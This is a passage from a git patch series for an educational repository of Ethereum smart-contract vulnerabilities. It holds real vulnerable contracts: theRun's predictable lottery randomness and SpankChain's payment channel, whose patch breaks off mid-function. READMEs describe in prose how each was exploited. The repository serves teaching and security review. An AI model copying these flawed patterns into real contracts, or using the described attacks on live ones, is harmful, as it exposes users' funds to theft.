<20 ether accepted + msg.sender.send(msg.value- (20 ether)); + deposit=20 ether; + } + Participate(deposit); + } + + //------- Core of the game---------- + function Participate(uint deposit) private { + //calculate the multiplier to apply to the future payout + + + uint total_multiplier=Min_multiplier; //initiate total_multiplier + if(Balance < 1 ether && players.length>1){ + total_multiplier+=100; // + 10 % + } + if( (players.length % 10)==0 && players.length>1 ){ //Every 10th participant gets a 10% bonus, play smart ! + total_multiplier+=100; // + 10 % + } + + //add new player in the queue ! + players.push(Player(msg.sender, (deposit * total_multiplier) / 1000, false)); + + //--- UPDATING CONTRACT STATS ---- + WinningPot += (deposit * PotFrac) / 1000; // take some 3% to add for the winning pot ! + fees += (deposit * feeFrac) / 1000; // collect maintenance fees 2% + Balance += (deposit * (1000 - ( feeFrac + PotFrac ))) / 1000; // update balance + + // Winning the Pot :) Condition : paying at least 1 people with deposit > 2 ether and having luck ! + if( ( deposit > 1 ether ) && (deposit > players[Payout_id].payout) ){ + uint roll = random(100); //take a random number between 1 & 100 + if( roll % 10 == 0 ){ //if lucky : Chances : 1 out of 10 ! + msg.sender.send(WinningPot); // Bravo ! + WinningPot=0; + } + + } + + //Classic payout for the participants + while ( Balance > players[Payout_id].payout ) { + Last_Payout = players[Payout_id].payout; + players[Payout_id].addr.send(Last_Payout); //pay the man, please ! + Balance -= players[Payout_id].payout; //update the balance + players[Payout_id].paid=true; + + Payout_id += 1; + } + } + + + + uint256 constant private salt = block.timestamp; + + function random(uint Max) constant private returns (uint256 result){ + //get the best seed for randomness + uint256 x = salt * 100 / Max; + uint256 y = salt * block.number / (salt % 5) ; + uint256 seed = block.number/3 + (salt % 300) + Last_Payout +y; + uint256 h = uint256(block.blockhash(seed)); + + return uint256((h / x)) % Max + 1; //random number between 1 and Max + } + + + + //---Contract management functions + function ChangeOwnership(address _owner) onlyowner { + admin = _owner; + } + function WatchBalance() constant returns(uint TotalBalance) { + TotalBalance = Balance / 1 wei; + } + + function WatchBalanceInEther() constant returns(uint TotalBalanceInEther) { + TotalBalanceInEther = Balance / 1 ether; + } + + + //Fee functions for creator + function CollectAllFees() onlyowner { + if (fees == 0) throw; + admin.send(fees); + feeFrac-=1; + fees = 0; + } + + function GetAndReduceFeesByFraction(uint p) onlyowner { + if (fees == 0) feeFrac-=1; //Reduce fees. + admin.send(fees / 1000 * p);//send a percent of fees + fees -= fees / 1000 * p; + } + + +//---Contract informations +function NextPayout() constant returns(uint NextPayout) { + NextPayout = players[Payout_id].payout / 1 wei; +} + +function WatchFees() constant returns(uint CollectedFees) { + CollectedFees = fees / 1 wei; +} + + +function WatchWinningPot() constant returns(uint WinningPot) { + WinningPot = WinningPot / 1 wei; +} + +function WatchLastPayout() constant returns(uint payout) { + payout = Last_Payout; +} + +function Total_of_Players() constant returns(uint NumberOfPlayers) { + NumberOfPlayers = players.length; +} + +function PlayerInfo(uint id) constant returns(address Address, uint Payout, bool UserPaid) { + if (id <= players.length) { + Address = players[id].addr; + Payout = players[id].payout / 1 wei; + UserPaid=players[id].paid; + } +} + +function PayoutQueueSize() constant returns(uint QueueSize) { + QueueSize = players.length - Payout_id; +} + + +} \ No newline at end of file From 56e4af423ed47ba0440ed16308c697fd1e8d69db Mon Sep 17 00:00:00 2001 From: Michael Colburn Date: Thu, 27 Sep 2018 09:39:30 -0400 Subject: [PATCH 51/73] updated README to reference the local source code --- bad_randomness/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bad_randomness/README.md b/bad_randomness/README.md index 53f3c297..810563b2 100644 --- a/bad_randomness/README.md +++ b/bad_randomness/README.md @@ -34,7 +34,7 @@ and take a fixed amount of sequential time to evaluate ## Examples -- The `random` function in [theRun](https://etherscan.io/address/0xcac337492149bdb66b088bf5914bedfbf78ccc18#code) was vulnerable to this attack. It used the blockhash, timestamp and block number to generate numbers in a range to determine winners of the lottery. To exploit this, an attacker could set up a smart contract that generates numbers in the same way and submits entries when it would win. As well, the miner of the block has some control over the blockhash and timestamp and would also be able to influence the lottery in their favor. +- The `random` function in [theRun](theRun_source_code/theRun.sol) was vulnerable to this attack. It used the blockhash, timestamp and block number to generate numbers in a range to determine winners of the lottery. To exploit this, an attacker could set up a smart contract that generates numbers in the same way and submits entries when it would win. As well, the miner of the block has some control over the blockhash and timestamp and would also be able to influence the lottery in their favor. ## Sources From d7ac0a716a675f84e75f50f5278f20e657a61265 Mon Sep 17 00:00:00 2001 From: Michael Colburn Date: Wed, 3 Oct 2018 11:32:42 -0400 Subject: [PATCH 52/73] Add a new reference to unchecked external calls --- unchecked_external_call/README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/unchecked_external_call/README.md b/unchecked_external_call/README.md index c69f2b24..e74c9591 100644 --- a/unchecked_external_call/README.md +++ b/unchecked_external_call/README.md @@ -27,3 +27,4 @@ Certain Solidity operations known as "external calls", require the developer to - http://solidity.readthedocs.io/en/develop/security-considerations.html - http://solidity.readthedocs.io/en/develop/types.html#members-of-addresses - https://github.com/ConsenSys/smart-contract-best-practices#handle-errors-in-external-calls +- https://vessenes.com/ethereum-griefing-wallets-send-w-throw-considered-harmful/ From 6b162c00cfe639f76dae547c6c42378eae25672e Mon Sep 17 00:00:00 2001 From: Michael Colburn Date: Thu, 4 Oct 2018 08:49:07 -0400 Subject: [PATCH 53/73] Add the same reference to Denial of Service --- denial_of_service/README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/denial_of_service/README.md b/denial_of_service/README.md index 81e1bf25..9734c120 100644 --- a/denial_of_service/README.md +++ b/denial_of_service/README.md @@ -32,3 +32,4 @@ using `while` loop that exists when gas drops below certain threshold. - https://www.reddit.com/r/ethereum/comments/4ghzhv/governmentals_1100_eth_jackpot_payout_is_stuck/ - https://github.com/ConsenSys/smart-contract-best-practices#dos-with-unexpected-revert +- https://vessenes.com/ethereum-griefing-wallets-send-w-throw-considered-harmful/ From 778153e5d5e3bb2c97c8f53e7cecfea6766b6775 Mon Sep 17 00:00:00 2001 From: Dan Guido Date: Fri, 5 Oct 2018 00:34:58 -0400 Subject: [PATCH 54/73] Update README.md --- README.md | 39 ++++++++++++++++++++++++++------------- 1 file changed, 26 insertions(+), 13 deletions(-) diff --git a/README.md b/README.md index da3302a3..ea9defad 100644 --- a/README.md +++ b/README.md @@ -1,21 +1,34 @@ # (Not So) Smart Contracts -This repository contains examples of common Ethereum smart contract vulnerabilities, including code from real smart contracts. -It also includes a repository and analysis of several [honeypots](honeypots/) +This repository contains examples of common Ethereum smart contract vulnerabilities, including code from real smart contracts. Use Not So Smart Contracts to learn about EVM and Solidity vulnerabilities, as a reference when performing security reviews, and as a benchmark for security and analysis tools. + +## Features + +Not So Smart Contracts each include a standard set of information: + +* Description of the unique vulnerability type +* Attack scenarios to exploit the vulnerability +* Recommendations to eliminate or mitigate the vulnerability +* Real-world contracts that exhibit the flaw +* References to third-party resources with more information + +Bonus! We have also included a repository and analysis of several [honeypots](honeypots). ## Vulnerabilities -- [Bad randomness](bad_randomness/): Contract attempts to get on-chain randomness, which can be manipulated by users -- [Denial of Service](denial_of_service/): Attacker stalls contract execution by failing in strategic way -- [Incorrect Interface](incorrect_interface/): Implementation uses different function signatures than interface -- [Integer Overflow](integer_overflow/): Arithmetic in Solidity (or EVM) is not safe by default -- [Forced Ether Reception](forced_ether_reception/): Contracts can be forced to receive Ether -- [Wrong Constructor Name](wrong_constructor_name/): Anyone can become owner of contract due to missing constructor -- [Race Condition](race_condition/): Transactions can be frontrun on the blockchain -- [Reentrancy](reentrancy/): Calling external contracts gives them control over execution -- [Unchecked External Call](unchecked_external_call/): Some Solidity operations silently fail -- [Unprotected Function](unprotected_function/): Failure to use function modifier allows attacker to manipulate contract -- [Variable Shadowing](variable%20shadowing/): Local variable name is identical to one in outer scope +| Not So Smart Contract | Description | CWE(s) | +| --- | --- | --- | +| [Bad randomness](bad_randomness) | Contract attempts to get on-chain randomness, which can be manipulated by users | +| [Denial of Service](denial_of_service) | Attacker stalls contract execution by failing in strategic way | +| [Forced Ether Reception](forced_ether_reception) | Contracts can be forced to receive Ether | +| [Incorrect Interface](incorrect_interface) | Implementation uses different function signatures than interface | +| [Integer Overflow](integer_overflow) | Arithmetic in Solidity (or EVM) is not safe by default | +| [Race Condition](race_condition) | Transactions can be frontrun on the blockchain | +| [Reentrancy](reentrancy) | Calling external contracts gives them control over execution | +| [Unchecked External Call](unchecked_external_call) | Some Solidity operations silently fail | +| [Unprotected Function](unprotected_function) | Failure to use function modifier allows attacker to manipulate contract | +| [Variable Shadowing](variable%20shadowing/) | Local variable name is identical to one in outer scope | +| [Wrong Constructor Name](wrong_constructor_name) | Anyone can become owner of contract due to missing constructor | ## Credits From 2966bba8ec2c3492d50580a1c6d5c8c3d6cab6fa Mon Sep 17 00:00:00 2001 From: Dan Guido Date: Fri, 5 Oct 2018 00:36:36 -0400 Subject: [PATCH 55/73] Update README.md --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index ea9defad..b5bd090f 100644 --- a/README.md +++ b/README.md @@ -16,8 +16,8 @@ Bonus! We have also included a repository and analysis of several [honeypots](ho ## Vulnerabilities -| Not So Smart Contract | Description | CWE(s) | -| --- | --- | --- | +| Not So Smart Contract | Description | +| --- | --- | | [Bad randomness](bad_randomness) | Contract attempts to get on-chain randomness, which can be manipulated by users | | [Denial of Service](denial_of_service) | Attacker stalls contract execution by failing in strategic way | | [Forced Ether Reception](forced_ether_reception) | Contracts can be forced to receive Ether | From 777bc5498376780adad8076cba84668c567e9e26 Mon Sep 17 00:00:00 2001 From: Dan Guido Date: Fri, 5 Oct 2018 00:37:49 -0400 Subject: [PATCH 56/73] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index b5bd090f..22aabdfe 100644 --- a/README.md +++ b/README.md @@ -4,7 +4,7 @@ This repository contains examples of common Ethereum smart contract vulnerabilit ## Features -Not So Smart Contracts each include a standard set of information: +Each _Not So Smart Contract_ includes a standard set of information: * Description of the unique vulnerability type * Attack scenarios to exploit the vulnerability From cba8e6fcb677f7909a94e8e9c76c8ae7498c3ff9 Mon Sep 17 00:00:00 2001 From: bohendo Date: Tue, 9 Oct 2018 16:29:55 -0400 Subject: [PATCH 57/73] updated not-so-smart-contracts to add SpankChain --- reentrancy/README.md | 4 +- reentrancy/SpankChain_source_code/README.md | 15 + .../SpankChain_source_code/SpankChain.sol | 155 +++ .../SpankChain_Payment.sol | 888 ++++++++++++++++++ 4 files changed, 1061 insertions(+), 1 deletion(-) create mode 100644 reentrancy/SpankChain_source_code/README.md create mode 100644 reentrancy/SpankChain_source_code/SpankChain.sol create mode 100644 reentrancy/SpankChain_source_code/SpankChain_Payment.sol diff --git a/reentrancy/README.md b/reentrancy/README.md index 1680c4ef..e2be7949 100644 --- a/reentrancy/README.md +++ b/reentrancy/README.md @@ -16,4 +16,6 @@ that they do not have. - Update all bookkeeping state variables _before_ transferring execution to an external contract. ## Examples -- The [DAO](http://hackingdistributed.com/2016/06/18/analysis-of-the-dao-exploit/) hack \ No newline at end of file + +- The [DAO](http://hackingdistributed.com/2016/06/18/analysis-of-the-dao-exploit/) hack +- The [SpankChain](https://medium.com/spankchain/we-got-spanked-what-we-know-so-far-d5ed3a0f38fe) hack diff --git a/reentrancy/SpankChain_source_code/README.md b/reentrancy/SpankChain_source_code/README.md new file mode 100644 index 00000000..c7f23f82 --- /dev/null +++ b/reentrancy/SpankChain_source_code/README.md @@ -0,0 +1,15 @@ +# Overview + +There are two contracts in this directory: + +- `SpankChain.sol`, which was not vulnerable +- `SpankChain_Payment.sol` which contained the [SpankChain hack](https://medium.com/spankchain/we-got-spanked-what-we-know-so-far-d5ed3a0f38fe) vulnerability + +Both contracts are preserved here for posterity. The "tl;dr" of the vulnerability: + +- The attacker called `createChannel` to setup a channel +- they then called `LCOpenTimeout` repeatedly +- Since `LCOpenTimeout` sends ETH *and then* removes the balance, an attacker can call it over and over to drain the account + +The fix? Never update state before a `transfer`, a `send`, a `call`, and so on; always perform those actions as the last step of the process in any contract that interacts with the +world diff --git a/reentrancy/SpankChain_source_code/SpankChain.sol b/reentrancy/SpankChain_source_code/SpankChain.sol new file mode 100644 index 00000000..e44188e3 --- /dev/null +++ b/reentrancy/SpankChain_source_code/SpankChain.sol @@ -0,0 +1,155 @@ +// https://etherscan.io/address/0x42d6622dece394b54999fbd73d108123806f6a18#code + +// Abstract contract for the full ERC 20 Token standard +// https://github.com/ethereum/EIPs/issues/20 +pragma solidity 0.4.15; + +contract Token { + /* This is a slight change to the ERC20 base standard. + function totalSupply() constant returns (uint256 supply); + is replaced with: + uint256 public totalSupply; + This automatically creates a getter function for the totalSupply. + This is moved to the base contract since public getter functions are not + currently recognised as an implementation of the matching abstract + function by the compiler. + */ + /// total amount of tokens + uint256 public totalSupply; + + /// @param _owner The address from which the balance will be retrieved + /// @return The balance + function balanceOf(address _owner) constant returns (uint256 balance); + + /// @notice send `_value` token to `_to` from `msg.sender` + /// @param _to The address of the recipient + /// @param _value The amount of token to be transferred + /// @return Whether the transfer was successful or not + function transfer(address _to, uint256 _value) returns (bool success); + + /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` + /// @param _from The address of the sender + /// @param _to The address of the recipient + /// @param _value The amount of token to be transferred + /// @return Whether the transfer was successful or not + function transferFrom(address _from, address _to, uint256 _value) returns (bool success); + + /// @notice `msg.sender` approves `_spender` to spend `_value` tokens + /// @param _spender The address of the account able to transfer the tokens + /// @param _value The amount of tokens to be approved for transfer + /// @return Whether the approval was successful or not + function approve(address _spender, uint256 _value) returns (bool success); + + /// @param _owner The address of the account owning tokens + /// @param _spender The address of the account able to transfer the tokens + /// @return Amount of remaining tokens allowed to spent + function allowance(address _owner, address _spender) constant returns (uint256 remaining); + + event Transfer(address indexed _from, address indexed _to, uint256 _value); + event Approval(address indexed _owner, address indexed _spender, uint256 _value); +} + + +/* +You should inherit from StandardToken or, for a token like you would want to +deploy in something like Mist, see HumanStandardToken.sol. +(This implements ONLY the standard functions and NOTHING else. +If you deploy this, you won't have anything useful.) + +Implements ERC 20 Token standard: https://github.com/ethereum/EIPs/issues/20 +.*/ +contract StandardToken is Token { + + function transfer(address _to, uint256 _value) returns (bool success) { + //Default assumes totalSupply can't be over max (2^256 - 1). + //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. + //Replace the if with this one instead. + //require(balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]); + require(balances[msg.sender] >= _value); + balances[msg.sender] -= _value; + balances[_to] += _value; + Transfer(msg.sender, _to, _value); + return true; + } + + function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { + //same as above. Replace this line with the following if you want to protect against wrapping uints. + //require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]); + require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value); + balances[_to] += _value; + balances[_from] -= _value; + allowed[_from][msg.sender] -= _value; + Transfer(_from, _to, _value); + return true; + } + + function balanceOf(address _owner) constant returns (uint256 balance) { + return balances[_owner]; + } + + function approve(address _spender, uint256 _value) returns (bool success) { + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + function allowance(address _owner, address _spender) constant returns (uint256 remaining) { + return allowed[_owner][_spender]; + } + + mapping (address => uint256) balances; + mapping (address => mapping (address => uint256)) allowed; +} + +/* +This Token Contract implements the standard token functionality (https://github.com/ethereum/EIPs/issues/20) as well as the following OPTIONAL extras intended for use by humans. + +In other words. This is intended for deployment in something like a Token Factory or Mist wallet, and then used by humans. +Imagine coins, currencies, shares, voting weight, etc. +Machine-based, rapid creation of many tokens would not necessarily need these extra features or will be minted in other manners. + +1) Initial Finite Supply (upon creation one specifies how much is minted). +2) In the absence of a token registry: Optional Decimal, Symbol & Name. +3) Optional approveAndCall() functionality to notify a contract if an approval() has occurred. + +.*/ +contract HumanStandardToken is StandardToken { + + /* Public variables of the token */ + + /* + NOTE: + The following variables are OPTIONAL vanities. One does not have to include them. + They allow one to customise the token contract & in no way influences the core functionality. + Some wallets/interfaces might not even bother to look at this information. + */ + string public name; //fancy name: eg Simon Bucks + uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. + string public symbol; //An identifier: eg SBX + string public version = 'H0.1'; //human 0.1 standard. Just an arbitrary versioning scheme. + + function HumanStandardToken( + uint256 _initialAmount, + string _tokenName, + uint8 _decimalUnits, + string _tokenSymbol + ) { + balances[msg.sender] = _initialAmount; // Give the creator all initial tokens + totalSupply = _initialAmount; // Update total supply + name = _tokenName; // Set the name for display purposes + decimals = _decimalUnits; // Amount of decimals for display purposes + symbol = _tokenSymbol; // Set the symbol for display purposes + } + + /* Approves and then calls the receiving contract */ + function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + + //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. + //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) + //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. + require(_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)); + return true; + } +} diff --git a/reentrancy/SpankChain_source_code/SpankChain_Payment.sol b/reentrancy/SpankChain_source_code/SpankChain_Payment.sol new file mode 100644 index 00000000..80d33a31 --- /dev/null +++ b/reentrancy/SpankChain_source_code/SpankChain_Payment.sol @@ -0,0 +1,888 @@ +// https://etherscan.io/address/0xf91546835f756da0c10cfa0cda95b15577b84aa7#code + +pragma solidity ^0.4.23; +// produced by the Solididy File Flattener (c) David Appleton 2018 +// contact : dave@akomba.com +// released under Apache 2.0 licence +contract Token { + /* This is a slight change to the ERC20 base standard. + function totalSupply() constant returns (uint256 supply); + is replaced with: + uint256 public totalSupply; + This automatically creates a getter function for the totalSupply. + This is moved to the base contract since public getter functions are not + currently recognised as an implementation of the matching abstract + function by the compiler. + */ + /// total amount of tokens + uint256 public totalSupply; + + /// @param _owner The address from which the balance will be retrieved + /// @return The balance + function balanceOf(address _owner) public constant returns (uint256 balance); + + /// @notice send `_value` token to `_to` from `msg.sender` + /// @param _to The address of the recipient + /// @param _value The amount of token to be transferred + /// @return Whether the transfer was successful or not + function transfer(address _to, uint256 _value) public returns (bool success); + + /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` + /// @param _from The address of the sender + /// @param _to The address of the recipient + /// @param _value The amount of token to be transferred + /// @return Whether the transfer was successful or not + function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); + + /// @notice `msg.sender` approves `_spender` to spend `_value` tokens + /// @param _spender The address of the account able to transfer the tokens + /// @param _value The amount of tokens to be approved for transfer + /// @return Whether the approval was successful or not + function approve(address _spender, uint256 _value) public returns (bool success); + + /// @param _owner The address of the account owning tokens + /// @param _spender The address of the account able to transfer the tokens + /// @return Amount of remaining tokens allowed to spent + function allowance(address _owner, address _spender) public constant returns (uint256 remaining); + + event Transfer(address indexed _from, address indexed _to, uint256 _value); + event Approval(address indexed _owner, address indexed _spender, uint256 _value); +} + +library ECTools { + + // @dev Recovers the address which has signed a message + // @thanks https://gist.github.com/axic/5b33912c6f61ae6fd96d6c4a47afde6d + function recoverSigner(bytes32 _hashedMsg, string _sig) public pure returns (address) { + require(_hashedMsg != 0x00); + + // need this for test RPC + bytes memory prefix = "\x19Ethereum Signed Message:\n32"; + bytes32 prefixedHash = keccak256(abi.encodePacked(prefix, _hashedMsg)); + + if (bytes(_sig).length != 132) { + return 0x0; + } + bytes32 r; + bytes32 s; + uint8 v; + bytes memory sig = hexstrToBytes(substring(_sig, 2, 132)); + assembly { + r := mload(add(sig, 32)) + s := mload(add(sig, 64)) + v := byte(0, mload(add(sig, 96))) + } + if (v < 27) { + v += 27; + } + if (v < 27 || v > 28) { + return 0x0; + } + return ecrecover(prefixedHash, v, r, s); + } + + // @dev Verifies if the message is signed by an address + function isSignedBy(bytes32 _hashedMsg, string _sig, address _addr) public pure returns (bool) { + require(_addr != 0x0); + + return _addr == recoverSigner(_hashedMsg, _sig); + } + + // @dev Converts an hexstring to bytes + function hexstrToBytes(string _hexstr) public pure returns (bytes) { + uint len = bytes(_hexstr).length; + require(len % 2 == 0); + + bytes memory bstr = bytes(new string(len / 2)); + uint k = 0; + string memory s; + string memory r; + for (uint i = 0; i < len; i += 2) { + s = substring(_hexstr, i, i + 1); + r = substring(_hexstr, i + 1, i + 2); + uint p = parseInt16Char(s) * 16 + parseInt16Char(r); + bstr[k++] = uintToBytes32(p)[31]; + } + return bstr; + } + + // @dev Parses a hexchar, like 'a', and returns its hex value, in this case 10 + function parseInt16Char(string _char) public pure returns (uint) { + bytes memory bresult = bytes(_char); + // bool decimals = false; + if ((bresult[0] >= 48) && (bresult[0] <= 57)) { + return uint(bresult[0]) - 48; + } else if ((bresult[0] >= 65) && (bresult[0] <= 70)) { + return uint(bresult[0]) - 55; + } else if ((bresult[0] >= 97) && (bresult[0] <= 102)) { + return uint(bresult[0]) - 87; + } else { + revert(); + } + } + + // @dev Converts a uint to a bytes32 + // @thanks https://ethereum.stackexchange.com/questions/4170/how-to-convert-a-uint-to-bytes-in-solidity + function uintToBytes32(uint _uint) public pure returns (bytes b) { + b = new bytes(32); + assembly {mstore(add(b, 32), _uint)} + } + + // @dev Hashes the signed message + // @ref https://github.com/ethereum/go-ethereum/issues/3731#issuecomment-293866868 + function toEthereumSignedMessage(string _msg) public pure returns (bytes32) { + uint len = bytes(_msg).length; + require(len > 0); + bytes memory prefix = "\x19Ethereum Signed Message:\n"; + return keccak256(abi.encodePacked(prefix, uintToString(len), _msg)); + } + + // @dev Converts a uint in a string + function uintToString(uint _uint) public pure returns (string str) { + uint len = 0; + uint m = _uint + 0; + while (m != 0) { + len++; + m /= 10; + } + bytes memory b = new bytes(len); + uint i = len - 1; + while (_uint != 0) { + uint remainder = _uint % 10; + _uint = _uint / 10; + b[i--] = byte(48 + remainder); + } + str = string(b); + } + + + // @dev extract a substring + // @thanks https://ethereum.stackexchange.com/questions/31457/substring-in-solidity + function substring(string _str, uint _startIndex, uint _endIndex) public pure returns (string) { + bytes memory strBytes = bytes(_str); + require(_startIndex <= _endIndex); + require(_startIndex >= 0); + require(_endIndex <= strBytes.length); + + bytes memory result = new bytes(_endIndex - _startIndex); + for (uint i = _startIndex; i < _endIndex; i++) { + result[i - _startIndex] = strBytes[i]; + } + return string(result); + } +} +contract StandardToken is Token { + + function transfer(address _to, uint256 _value) public returns (bool success) { + //Default assumes totalSupply can't be over max (2^256 - 1). + //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. + //Replace the if with this one instead. + //require(balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]); + require(balances[msg.sender] >= _value); + balances[msg.sender] -= _value; + balances[_to] += _value; + emit Transfer(msg.sender, _to, _value); + return true; + } + + function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { + //same as above. Replace this line with the following if you want to protect against wrapping uints. + //require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]); + require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value); + balances[_to] += _value; + balances[_from] -= _value; + allowed[_from][msg.sender] -= _value; + emit Transfer(_from, _to, _value); + return true; + } + + function balanceOf(address _owner) public constant returns (uint256 balance) { + return balances[_owner]; + } + + function approve(address _spender, uint256 _value) public returns (bool success) { + allowed[msg.sender][_spender] = _value; + emit Approval(msg.sender, _spender, _value); + return true; + } + + function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { + return allowed[_owner][_spender]; + } + + mapping (address => uint256) balances; + mapping (address => mapping (address => uint256)) allowed; +} + +contract HumanStandardToken is StandardToken { + + /* Public variables of the token */ + + /* + NOTE: + The following variables are OPTIONAL vanities. One does not have to include them. + They allow one to customise the token contract & in no way influences the core functionality. + Some wallets/interfaces might not even bother to look at this information. + */ + string public name; //fancy name: eg Simon Bucks + uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. + string public symbol; //An identifier: eg SBX + string public version = 'H0.1'; //human 0.1 standard. Just an arbitrary versioning scheme. + + constructor( + uint256 _initialAmount, + string _tokenName, + uint8 _decimalUnits, + string _tokenSymbol + ) public { + balances[msg.sender] = _initialAmount; // Give the creator all initial tokens + totalSupply = _initialAmount; // Update total supply + name = _tokenName; // Set the name for display purposes + decimals = _decimalUnits; // Amount of decimals for display purposes + symbol = _tokenSymbol; // Set the symbol for display purposes + } + + /* Approves and then calls the receiving contract */ + function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { + allowed[msg.sender][_spender] = _value; + emit Approval(msg.sender, _spender, _value); + + //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. + //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) + //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. + require(_spender.call(bytes4(bytes32(keccak256("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)); + return true; + } +} + +contract LedgerChannel { + + string public constant NAME = "Ledger Channel"; + string public constant VERSION = "0.0.1"; + + uint256 public numChannels = 0; + + event DidLCOpen ( + bytes32 indexed channelId, + address indexed partyA, + address indexed partyI, + uint256 ethBalanceA, + address token, + uint256 tokenBalanceA, + uint256 LCopenTimeout + ); + + event DidLCJoin ( + bytes32 indexed channelId, + uint256 ethBalanceI, + uint256 tokenBalanceI + ); + + event DidLCDeposit ( + bytes32 indexed channelId, + address indexed recipient, + uint256 deposit, + bool isToken + ); + + event DidLCUpdateState ( + bytes32 indexed channelId, + uint256 sequence, + uint256 numOpenVc, + uint256 ethBalanceA, + uint256 tokenBalanceA, + uint256 ethBalanceI, + uint256 tokenBalanceI, + bytes32 vcRoot, + uint256 updateLCtimeout + ); + + event DidLCClose ( + bytes32 indexed channelId, + uint256 sequence, + uint256 ethBalanceA, + uint256 tokenBalanceA, + uint256 ethBalanceI, + uint256 tokenBalanceI + ); + + event DidVCInit ( + bytes32 indexed lcId, + bytes32 indexed vcId, + bytes proof, + uint256 sequence, + address partyA, + address partyB, + uint256 balanceA, + uint256 balanceB + ); + + event DidVCSettle ( + bytes32 indexed lcId, + bytes32 indexed vcId, + uint256 updateSeq, + uint256 updateBalA, + uint256 updateBalB, + address challenger, + uint256 updateVCtimeout + ); + + event DidVCClose( + bytes32 indexed lcId, + bytes32 indexed vcId, + uint256 balanceA, + uint256 balanceB + ); + + struct Channel { + //TODO: figure out if it's better just to split arrays by balances/deposits instead of eth/erc20 + address[2] partyAddresses; // 0: partyA 1: partyI + uint256[4] ethBalances; // 0: balanceA 1:balanceI 2:depositedA 3:depositedI + uint256[4] erc20Balances; // 0: balanceA 1:balanceI 2:depositedA 3:depositedI + uint256[2] initialDeposit; // 0: eth 1: tokens + uint256 sequence; + uint256 confirmTime; + bytes32 VCrootHash; + uint256 LCopenTimeout; + uint256 updateLCtimeout; // when update LC times out + bool isOpen; // true when both parties have joined + bool isUpdateLCSettling; + uint256 numOpenVC; + HumanStandardToken token; + } + + // virtual-channel state + struct VirtualChannel { + bool isClose; + bool isInSettlementState; + uint256 sequence; + address challenger; // Initiator of challenge + uint256 updateVCtimeout; // when update VC times out + // channel state + address partyA; // VC participant A + address partyB; // VC participant B + address partyI; // LC hub + uint256[2] ethBalances; + uint256[2] erc20Balances; + uint256[2] bond; + HumanStandardToken token; + } + + mapping(bytes32 => VirtualChannel) public virtualChannels; + mapping(bytes32 => Channel) public Channels; + + function createChannel( + bytes32 _lcID, + address _partyI, + uint256 _confirmTime, + address _token, + uint256[2] _balances // [eth, token] + ) + public + payable + { + require(Channels[_lcID].partyAddresses[0] == address(0), "Channel has already been created."); + require(_partyI != 0x0, "No partyI address provided to LC creation"); + require(_balances[0] >= 0 && _balances[1] >= 0, "Balances cannot be negative"); + // Set initial ledger channel state + // Alice must execute this and we assume the initial state + // to be signed from this requirement + // Alternative is to check a sig as in joinChannel + Channels[_lcID].partyAddresses[0] = msg.sender; + Channels[_lcID].partyAddresses[1] = _partyI; + + if(_balances[0] != 0) { + require(msg.value == _balances[0], "Eth balance does not match sent value"); + Channels[_lcID].ethBalances[0] = msg.value; + } + if(_balances[1] != 0) { + Channels[_lcID].token = HumanStandardToken(_token); + require(Channels[_lcID].token.transferFrom(msg.sender, this, _balances[1]),"CreateChannel: token transfer failure"); + Channels[_lcID].erc20Balances[0] = _balances[1]; + } + + Channels[_lcID].sequence = 0; + Channels[_lcID].confirmTime = _confirmTime; + // is close flag, lc state sequence, number open vc, vc root hash, partyA... + //Channels[_lcID].stateHash = keccak256(uint256(0), uint256(0), uint256(0), bytes32(0x0), bytes32(msg.sender), bytes32(_partyI), balanceA, balanceI); + Channels[_lcID].LCopenTimeout = now + _confirmTime; + Channels[_lcID].initialDeposit = _balances; + + emit DidLCOpen(_lcID, msg.sender, _partyI, _balances[0], _token, _balances[1], Channels[_lcID].LCopenTimeout); + } + + function LCOpenTimeout(bytes32 _lcID) public { + require(msg.sender == Channels[_lcID].partyAddresses[0] && Channels[_lcID].isOpen == false); + require(now > Channels[_lcID].LCopenTimeout); + + if(Channels[_lcID].initialDeposit[0] != 0) { + Channels[_lcID].partyAddresses[0].transfer(Channels[_lcID].ethBalances[0]); + } + if(Channels[_lcID].initialDeposit[1] != 0) { + require(Channels[_lcID].token.transfer(Channels[_lcID].partyAddresses[0], 